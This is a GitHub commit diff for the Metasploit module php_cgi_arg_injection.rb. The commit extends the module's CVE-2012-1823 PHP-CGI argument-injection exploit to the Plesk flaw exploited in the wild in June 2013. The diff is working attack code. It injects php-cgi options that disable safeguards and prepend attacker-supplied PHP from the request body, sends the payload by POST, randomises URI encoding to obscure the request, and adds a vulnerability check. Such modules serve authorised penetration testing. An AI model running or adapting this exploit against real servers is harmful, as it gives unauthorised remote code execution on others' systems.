Skip to content

Commit 2e1a8d4

Browse files
committed
Land rapid7#2074 - Add support for PLESK on php_cgi_arg_injection
2 parents a52d38f + 8772cfa commit 2e1a8d4

File tree

1 file changed

+40
-18
lines changed

1 file changed

+40
-18
lines changed

modules/exploits/multi/http/php_cgi_arg_injection.rb

Lines changed: 40 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -23,18 +23,24 @@ def initialize(info = {})
2323
the string is split on '+' (encoded space) characters, urldecoded,
2424
passed to a function that escapes shell metacharacters (the "encoded in
2525
a system-defined manner" from the RFC) and then passes them to the CGI
26-
binary."
26+
binary." This module can also be used to exploit the plesk 0day disclosed
27+
by kingcope and exploited in the wild on June 2013.
2728
},
2829
'Author' =>
2930
[
30-
'egypt', 'hdm', #original msf exploit
31-
'jjarmoc' #added URI encoding obfuscation
31+
'egypt', 'hdm', #original msf exploit
32+
'jjarmoc', #added URI encoding obfuscation
33+
'kingcope', #plesk poc
34+
'juan vazquez' #add support for plesk exploitation
3235
],
3336
'License' => MSF_LICENSE,
3437
'References' => [
35-
[ 'CVE' , '2012-1823' ],
38+
[ 'CVE', '2012-1823' ],
3639
[ 'OSVDB', '81633'],
37-
[ 'URL' , 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],
40+
[ 'OSVDB', '93979'],
41+
[ 'EDB', '25986'],
42+
[ 'URL', 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],
43+
[ 'URL', 'http://kb.parallels.com/en/116241']
3844
],
3945
'Privileged' => false,
4046
'Payload' =>
@@ -53,22 +59,20 @@ def initialize(info = {})
5359
register_options([
5460
OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
5561
OptInt.new('URIENCODING', [true, "Level of URI URIENCODING and padding (0 for minimum)",0]),
56-
], self.class)
62+
OptBool.new('PLESK', [true, "Exploit Plesk", false]),
63+
], self.class)
5764
end
5865

5966
# php-cgi -h
6067
# ...
6168
# -s Display colour syntax highlighted source.
6269
def check
63-
uri = normalize_uri(target_uri.path)
64-
65-
uri.gsub!(/\?.*/, "")
6670

6771
print_status("Checking uri #{uri}")
6872

6973
response = send_request_raw({ 'uri' => uri })
7074

71-
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
75+
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi and not datastore['PLESK']
7276
print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
7377
return Exploit::CheckCode::Unknown
7478
end
@@ -78,10 +82,30 @@ def check
7882
return Exploit::CheckCode::Vulnerable
7983
end
8084

85+
if datastore['PLESK'] and response and response.code == 500
86+
return Exploit::CheckCode::Appears
87+
end
88+
8189
print_error("Server responded indicating it was not vulnerable")
8290
return Exploit::CheckCode::Safe
8391
end
8492

93+
def uri
94+
if datastore['PLESK']
95+
normalize_uri("phppath", "php")
96+
else
97+
normalize_uri(target_uri.path).gsub(/\?.*/, "")
98+
end
99+
end
100+
101+
def uri_encoding_level
102+
if datastore['PLESK']
103+
return 0
104+
else
105+
return datastore['URIENCODING']
106+
end
107+
end
108+
85109
def exploit
86110
begin
87111
args = [
@@ -92,19 +116,17 @@ def exploit
92116
create_arg("-d",'disable_functions=""'),
93117
create_arg("-d","open_basedir=none"),
94118
create_arg("-d","auto_prepend_file=php://input"),
95-
create_arg("-n")
119+
rand_opt_equiv("-n")
96120
]
97121

98122
qs = args.join()
99-
uri = normalize_uri(target_uri.path)
100-
uri = "#{uri}?#{qs}"
101123

102124
# Has to be all on one line, so gsub out the comments and the newlines
103125
payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
104126
response = send_request_cgi( {
105127
'method' => "POST",
106128
'global' => true,
107-
'uri' => uri,
129+
'uri' => "#{uri}?#{qs}",
108130
'data' => payload_oneline,
109131
}, 0.5)
110132
handler
@@ -166,7 +188,7 @@ def rand_opt_equiv(opt)
166188
def rand_encode(string, max = string.length)
167189
# Randomly URI encode characters from string, up to max times.
168190
chars = [];
169-
if max > datastore["URIENCODING"] then max = datastore["URIENCODING"] end
191+
if max > uri_encoding_level then max = uri_encoding_level end
170192
if string.length == 1
171193
if rand(2) > 0
172194
chars << 0
@@ -180,7 +202,7 @@ def rand_encode(string, max = string.length)
180202
string
181203
end
182204

183-
def rand_spaces(num = datastore["URIENCODING"])
205+
def rand_spaces(num = uri_encoding_level)
184206
ret = ''
185207
num.times {
186208
ret << rand_space
@@ -189,11 +211,11 @@ def rand_spaces(num = datastore["URIENCODING"])
189211
end
190212

191213
def rand_space
192-
datastore["URIENCODING"] > 0 ? ["%20","%09","+"][rand(3)] : "+"
214+
uri_encoding_level > 0 ? ["%20","%09","+"][rand(3)] : "+"
193215
end
194216

195217
def rand_dash
196-
datastore["URIENCODING"] > 0 ? ["-","%2d","%2D"][rand(3)] : "-"
218+
uri_encoding_level > 0 ? ["-","%2d","%2D"][rand(3)] : "-"
197219
end
198220

199221
def rand_php_ini_false

0 commit comments

Comments
 (0)